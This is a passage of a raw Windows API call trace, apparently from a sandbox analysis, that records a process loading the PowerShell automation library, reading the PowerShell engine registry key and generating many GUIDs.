0x74 [0089.143] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec410, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec360, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.144] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebe10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xebe10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.146] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0089.148] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb69f738c, Data2=0x5169, Data3=0x4a2b, Data4=([0]=0x89, [1]=0x46, [2]=0x87, [3]=0x25, [4]=0xd7, [5]=0xee, [6]=0xbe, [7]=0x1b))) returned 0x0 [0089.148] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x4be35b32, Data2=0xd202, Data3=0x4b59, Data4=([0]=0x83, [1]=0x80, [2]=0xb9, [3]=0x9f, [4]=0xd4, [5]=0x89, [6]=0xdd, [7]=0x43))) returned 0x0 [0089.153] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x5d89e86c, Data2=0xdd38, Data3=0x4221, Data4=([0]=0xa5, [1]=0xbc, [2]=0x2c, [3]=0x82, [4]=0x0, [5]=0x8, [6]=0xa4, [7]=0x5d))) returned 0x0 [0089.153] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc7421e44, Data2=0x58d6, Data3=0x43bf, Data4=([0]=0x93, [1]=0x91, [2]=0x7f, [3]=0xf6, [4]=0x45, [5]=0xb8, [6]=0x6, [7]=0x2c))) returned 0x0 [0089.154] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x4c2fbadb, Data2=0x6f2c, Data3=0x4633, Data4=([0]=0xa3, [1]=0x53, [2]=0xf3, [3]=0xf5, [4]=0xca, [5]=0xf5, [6]=0xe6, [7]=0xac))) returned 0x0 [0089.154] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc2e85395, Data2=0xf97b, Data3=0x4ada, Data4=([0]=0xb5, [1]=0x12, [2]=0x9a, [3]=0x7e, [4]=0x64, [5]=0xe7, [6]=0x3e, [7]=0xa5))) returned 0x0 [0089.154] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x3168402, Data2=0x689b, Data3=0x4db5, Data4=([0]=0x97, [1]=0x9c, [2]=0xbd, [3]=0x6e, [4]=0x19, [5]=0xe4, [6]=0x6c, [7]=0xd3))) returned 0x0 [0089.155] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x16ee0b2b, Data2=0xca8e, Data3=0x4fab, Data4=([0]=0x9c, [1]=0x48, [2]=0x45, [3]=0x52, [4]=0x36, [5]=0x8a, [6]=0x7e, [7]=0x14))) returned 0x0 [0089.155] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x96bd9f9c, Data2=0x441b, Data3=0x4dee, Data4=([0]=0x9c, [1]=0x24, [2]=0x9c, [3]=0x2a, [4]=0x15, [5]=0xbb, [6]=0xb3, [7]=0x0))) returned 0x0 [0089.155] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x9d5a95bb, Data2=0xd2d, Data3=0x49c1, Data4=([0]=0x91, [1]=0xff, [2]=0x5d, [3]=0x43, [4]=0x43, [5]=0x28, [6]=0xc7, [7]=0xa0))) returned 0x0 [0089.155] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb37824, Data2=0x82e9, Data3=0x4b5f, Data4=([0]=0x96, [1]=0xca, [2]=0x92, [3]=0x9c, [4]=0x55, [5]=0x62, [6]=0x6e, [7]=0x1f))) returned 0x0 [0089.157] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x86d23f56, Data2=0xb903, Data3=0x44ce, Data4=([0]=0xb0, [1]=0xa8, [2]=0xb8, [3]=0xdb, [4]=0xa4, [5]=0x2d, [6]=0x5b, [7]=0x26))) returned 0x0 [0089.159] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x7ef70589, Data2=0x88c1, Data3=0x4be7, Data4=([0]=0x83, [1]=0x1f, [2]=0x79, [3]=0xc7, [4]=0x54, [5]=0xc0, [6]=0x53, [7]=0x37))) returned 0x0 [0089.160] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x634058b9, Data2=0x963, Data3=0x4c00, Data4=([0]=0xbb, [1]=0xbf, [2]=0x19, [3]=0xbd, [4]=0xb, [5]=0x59, [6]=0x71, [7]=0x24))) returned 0x0 [0089.161] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x698f12f6, Data2=0xdcd0, Data3=0x45d3, Data4=([0]=0x81, [1]=0xf1, [2]=0xa0, [3]=0x8a, [4]=0xfa, [5]=0x15, [6]=0xea, [7]=0x6d))) returned 0x0 [0089.161] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xe13f2305, Data2=0xed39, Data3=0x4c35, Data4=([0]=0x95, [1]=0x13, [2]=0x6d, [3]=0x7d, [4]=0xdd, [5]=0x5b, [6]=0x7b, [7]=0x51))) returned 0x0 [0089.161] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x95768bb4, Data2=0x1f45, Data3=0x46b2, Data4=([0]=0xbc, [1]=0xe8, [2]=0x1d, [3]=0xbb, [4]=0xa8, [5]=0x94, [6]=0x5b, [7]=0x14))) returned 0x0 [0089.161] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x6856b0c9, Data2=0xd91, Data3=0x4d0f, Data4=([0]=0xa7, [1]=0x6, [2]=0x3e, [3]=0x58, [4]=0xa3, [5]=0xfa, [6]=0xe8, [7]=0xab))) returned 0x0 [0089.162] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x2a15b995, Data2=0x49dd, Data3=0x452e, Data4=([0]=0x8b, [1]=0x7c, [2]=0x61, [3]=0xfb, [4]=0xb1, [5]=0x68, [6]=0xd9, [7]=0x1f))) returned 0x0 [0089.162] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x2717dffe, Data2=0xa63, Data3=0x40fe, Data4=([0]=0xa5, [1]=0xc0, [2]=0x72, [3]=0x8e, [4]=0x94, [5]=0x14, [6]=0x86, [7]=0xac))) returned 0x0 [0089.162] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xdfe4c3fd, Data2=0x7a2d, Data3=0x48b8, Data4=([0]=0x85, [1]=0xfd, [2]=0x43, [3]=0xec, [4]=0x95, [5]=0xb4, [6]=0x5a, [7]=0xe2))) returned 0x0 [0089.166] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0089.166] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0089.166] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdea0 [0089.166] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdea0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0089.166] CoTaskMemFree (pv=0x1b3cdea0) [0089.166] RegCloseKey (hKey=0x308) returned 0x0 [0089.166] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0089.168] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xaac056bb, Data2=0x50ea, Data3=0x4e3d, Data4=([0]=0x96, [1]=0x7, [2]=0xa0, [3]=0xf2, [4]=0x44, [5]=0xeb, [6]=0x9a, [7]=0x21))) returned 0x0 [0089.168] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x119c86f2, Data2=0xa569, Data3=0x4269, Data4=([0]=0xb0, [1]=0xc5, [2]=0xfe, [3]=0x12, [4]=0x63, [5]=0xdb, [6]=0x77, [7]=0x1b))) returned 0x0 [0089.168] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x838426a1, Data2=0xf80a, Data3=0x4a47, Data4=([0]=0xaa, [1]=0x84, [2]=0x62, [3]=0x72, [4]=0x10, [5]=0x7d, [6]=0xc6, [7]=0x8c))) returned 0x0 [0089.169] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xf1a1215d, Data2=0x880a, Data3=0x4d25, Data4=([0]=0xa2, [1]=0x41, [2]=0xbc, [3]=0x71, [4]=0x2, [5]=0x92, [6]=0xd3, [7]=0xb9))) returned 0x0 [0089.169] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x54c8c371, Data2=0xbc7, Data3=0x490f, Data4=([0]=0x9a, [1]=0x54, [2]=0xf1, [3]=0xf9, [4]=0x31, [5]=0xab, [6]=0xf5, [7]=0x68))) returned 0x0 [0089.169] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xf51ea650, Data2=0x5c57, Data3=0x44be, Data4=([0]=0xa8, [1]=0x1, [2]=0xaf, [3]=0x80, [4]=0x51, [5]=0x4, [6]=0x9e, [7]=0xcd))) returned 0x0 [0089.169] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x1577326f, Data2=0x84f, Data3=0x4442, Data4=([0]=0x86, [1]=0x56, [2]=0xa, [3]=0x7e, [4]=0x77, [5]=0xd5, [6]=0xc1, [7]=0x38))) returned 0x0 [0089.169] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xa5f675e4, Data2=0x9051, Data3=0x44ef, Data4=([0]=0xb2, [1]=0xcc, [2]=0xa2, [3]=0x91, [4]=0xfd, [5]=0xa0, [6]=0xb4, [7]=0xbc))) returned 0x0 [0089.169] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x6d1df65e, Data2=0x53f2, Data3=0x4492, Data4=([0]=0xb4, [1]=0x2f, [2]=0xdf, [3]=0xe6, [4]=0x5b, [5]=0x38, [6]=0x3c, [7]=0x3))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x50149b60, Data2=0x42d0, Data3=0x4fb0, Data4=([0]=0xad, [1]=0xd8, [2]=0xc3, [3]=0x1e, [4]=0x9b, [5]=0x21, [6]=0x3c, [7]=0x53))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x567c21b0, Data2=0x4806, Data3=0x4744, Data4=([0]=0xa7, [1]=0x83, [2]=0x50, [3]=0x4b, [4]=0x4f, [5]=0x30, [6]=0xf9, [7]=0xb5))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x6881b40d, Data2=0x71bd, Data3=0x4068, Data4=([0]=0x84, [1]=0x43, [2]=0x2f, [3]=0x87, [4]=0xe9, [5]=0xc5, [6]=0x30, [7]=0x59))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x5a88ba38, Data2=0xd2f, Data3=0x47d8, Data4=([0]=0x99, [1]=0xd1, [2]=0xfc, [3]=0x6e, [4]=0x70, [5]=0x52, [6]=0xed, [7]=0x6))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x9e56266a, Data2=0xf317, Data3=0x4c29, Data4=([0]=0xbc, [1]=0x77, [2]=0x8f, [3]=0xba, [4]=0x5, [5]=0xa4, [6]=0xd, [7]=0x32))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x209474e4, Data2=0xb1a, Data3=0x4e2a, Data4=([0]=0xa8, [1]=0x68, [2]=0xfc, [3]=0xbb, [4]=0x7e, [5]=0x50, [6]=0x6b, [7]=0xe6))) returned 0x0 [0089.170] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xafc6778e, Data2=0x7d05, Data3=0x475f, Data4=([0]=0xa5, [1]=0xb8, [2]=0xce, [3]=0xda, [4]=0x8c, [5]=0x10, [6]=0xa2, [7]=0xb))) returned 0x0 [0089.171] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd5fbf515, Data2=0xb091, Data3=0x4cec, Data4=([0]=0xaa, [1]=0x55, [2]=0x27, [3]=0xe0, [4]=0xd6, [5]=0xd, [6]=0x46, [7]=0xe4))) returned 0x0 [0089.171] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd4714e36, Data2=0x2da7, Data3=0x4462, Data4=([0]=0xac, [1]=0xec, [2]=0xc5, [3]=0x12, [4]=0x5f, [5]=0x2c, [6]=0x2a, [7]=0x5d))) returned 0x0 [0089.171] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x9af76e42, Data2=0x4451, Data3=0x4c72, Data4=([0]=0x98, [1]=0xca, [2]=0x86, [3]=0xff, [4]=0xd0, [5]=0x78, [6]=0x9c, [7]=0xf3))) returned 0x0 [0089.171] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xf560169b, Data2=0x1ce3, Data3=0x4e1f, Data4=([0]=0x8b, [1]=0xc0, [2]=0xfa, [3]=0x5c, [4]=0x59, [5]=0xe7, [6]=0x54, [7]=0x7b))) returned 0x0 [0089.171] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x24d6cad1, Data2=0x3006, Data3=0x4e69, Data4=([0]=0x86, [1]=0xc8, [2]=0x89, [3]=0x4c, [4]=0x34, [5]=0x32, [6]=0xaa, [7]=0x90))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc915a3b, Data2=0x2ca7, Data3=0x4e68, Data4=([0]=0xbc, [1]=0xcd, [2]=0xce, [3]=0xd3, [4]=0x64, [5]=0x97, [6]=0x7c, [7]=0x3c))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x29c7736f, Data2=0x5510, Data3=0x49ae, Data4=([0]=0xaf, [1]=0x31, [2]=0xd8, [3]=0xc8, [4]=0x14, [5]=0x88, [6]=0x50, [7]=0x5d))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x8797719a, Data2=0x7de9, Data3=0x434a, Data4=([0]=0x90, [1]=0x50, [2]=0x6e, [3]=0x34, [4]=0x8a, [5]=0xcf, [6]=0x47, [7]=0xc2))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x29a21fba, Data2=0xf54e, Data3=0x4030, Data4=([0]=0xbc, [1]=0xc2, [2]=0x97, [3]=0xa2, [4]=0xbe, [5]=0xa4, [6]=0xc8, [7]=0x92))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x32080298, Data2=0xdfc8, Data3=0x462b, Data4=([0]=0x97, [1]=0xd4, [2]=0xf7, [3]=0x1b, [4]=0x9, [5]=0xd5, [6]=0x5e, [7]=0x90))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x31ffabb4, Data2=0x5fbf, Data3=0x4f2a, Data4=([0]=0x8c, [1]=0x45, [2]=0x4e, [3]=0xf8, [4]=0xd3, [5]=0xc1, [6]=0x68, [7]=0x32))) returned 0x0 [0089.172] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x360dda2f, Data2=0xb755, Data3=0x4e22, Data4=([0]=0xb9, [1]=0xab, [2]=0x74, [3]=0x6a, [4]=0x35, [5]=0x2a, [6]=0x2a, [7]=0xee))) returned 0x0 [0089.173] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x8fc26418, Data2=0x6df8, Data3=0x4dc7, Data4=([0]=0xb4, [1]=0x61, [2]=0x3e, [3]=0xb6, [4]=0x75, [5]=0xc5, [6]=0xc7, [7]=0x4a))) returned 0x0 [0089.173] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xc0ef5582, Data2=0x6e64, Data3=0x4a8f, Data4=([0]=0xb6, [1]=0x7, [2]=0x9f, [3]=0x7d, [4]=0x4f, [5]=0x63, [6]=0xa9, [7]=0xee))) returned 0x0 [0089.173] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x5207865c, Data2=0x77c, Data3=0x49af, Data4=([0]=0xac, [1]=0x2a, [2]=0x56, [3]=0xcd, [4]=0x59, [5]=0x3b, [6]=0x25, [7]=0x8c))) returned 0x0 [0089.173] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x433fa56e, Data2=0xa7fb, Data3=0x4a03, Data4=([0]=0x92, [1]=0xcf, [2]=0x73, [3]=0x1d, [4]=0xc3, [5]=0x92, [6]=0x2a, [7]=0x65))) returned 0x0 [0089.173] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x4ee85ff6, Data2=0x6331, Data3=0x4aae, Data4=([0]=0x9a, [1]=0x89, [2]=0x72, [3]=0xc4, [4]=0x2a, [5]=0xc5, [6]=0x5a, [7]=0x91))) returned 0x0 [0089.175] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x4d18729, Data2=0xe44a, Data3=0x4e73, Data4=([0]=0x9b, [1]=0x7a, [2]=0xd8, [3]=0x1d, [4]=0x19, [5]=0x19, [6]=0x4d, [7]=0xe0))) returned 0x0 [0089.175] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x7748fcfd, Data2=0x8056, Data3=0x4e0d, Data4=([0]=0x81, [1]=0xa8, [2]=0x5c, [3]=0xcd, [4]=0x2d, [5]=0x71, [6]=0x4a, [7]=0xca))) returned 0x0 [0089.175] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb77a6d13, Data2=0x4342, Data3=0x49c8, Data4=([0]=0x9c, [1]=0xb4, [2]=0x8e, [3]=0x5b, [4]=0x65, [5]=0x50, [6]=0xcb, [7]=0x5c))) returned 0x0 [0089.176] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x51c573e0, Data2=0x279c, Data3=0x4eb8, Data4=([0]=0x89, [1]=0xee, [2]=0xeb, [3]=0x68, [4]=0x52, [5]=0x4c, [6]=0x24, [7]=0xf6))) returned 0x0 [0089.176] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xa74890a9, Data2=0xb09b, Data3=0x4059, Data4=([0]=0xb3, [1]=0x28, [2]=0x28, [3]=0x4d, [4]=0xcd, [5]=0x8b, [6]=0xff, [7]=0xd2))) returned 0x0 [0089.176] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xb23fb732, Data2=0xa43d, Data3=0x4169, Data4=([0]=0x95, [1]=0xa5, [2]=0x1f, [3]=0x7, [4]=0x96, [5]=0x33, [6]=0x81, [7]=0xcb))) returned 0x0 [0089.176] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xd59f6de9, Data2=0x6b4f, Data3=0x41ec, Data4=([0]=0xad, [1]=0x4e, [2]=0x9f, [3]=0xc7, [4]=0xc3, [5]=0x48, [6]=0x53, [7]=0xc6))) returned 0x0 [0089.176] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x1432dcd4, Data2=0x8377, Data3=0x4843, Data4=([0]=0xbe, [1]=0xd, [2]=0x34, [3]=0x16, [4]=0x7d, [5]=0x5, [6]=0xf6, [7]=0x88))) returned 0x0 [0089.177] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0xae179036, Data2=0x6f92, Data3=0x4756, Data4=([0]=0x8c, [1]=0x8b, [2]=0x1c, [3]=0x13, [4]=0xf3, [5]=0xa7, [6]=0x62, [7]=0x7b))) returned 0x0 [0089.177] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x32cf5819, Data2=0x9bcb, Data3=0x4683, Data4=([0]=0xb3, [1]=0x71, [2]=0xe2, [3]=0xe2, [4]=0x23, [5]=0x31, [6]=0xac, [7]=0xdc))) returned 0x0 [0089.177] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x32a5fc2a, Data2=0xd97d, Data3=0x4ffe, Data4=([0]=0x8b, [1]=0x1e, [2]=0x6, [3]=0x79, [4]=0x9, [5]=0x83, [6]=0x4e, [7]=0x93))) returned 0x0 [0089.177] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x234490f1, Data2=0xb619, Data3=0x4fea, Data4=([0]=0xbc, [1]=0x68, [2]=0x17, [3]=0x7, [4]=0x22, [5]=0x50, [6]=0xb8, [7]=0x44))) returned 0x0 [0089.177] CoCreateGuid (in: pguid=0xed330 | out: pguid=0xed330*(Data1=0x51a01bd0, Data2=0x3f81, Data3=0x4558, Data4=([0]=0x89, [1]=0xe7, [2]=0x3c, [3]=0x61, [4]=0x8a, [5]=0xc6, [6]=0xc5, [7]=0x34))) returned 0x0 [0089.177] CoCreateGuid 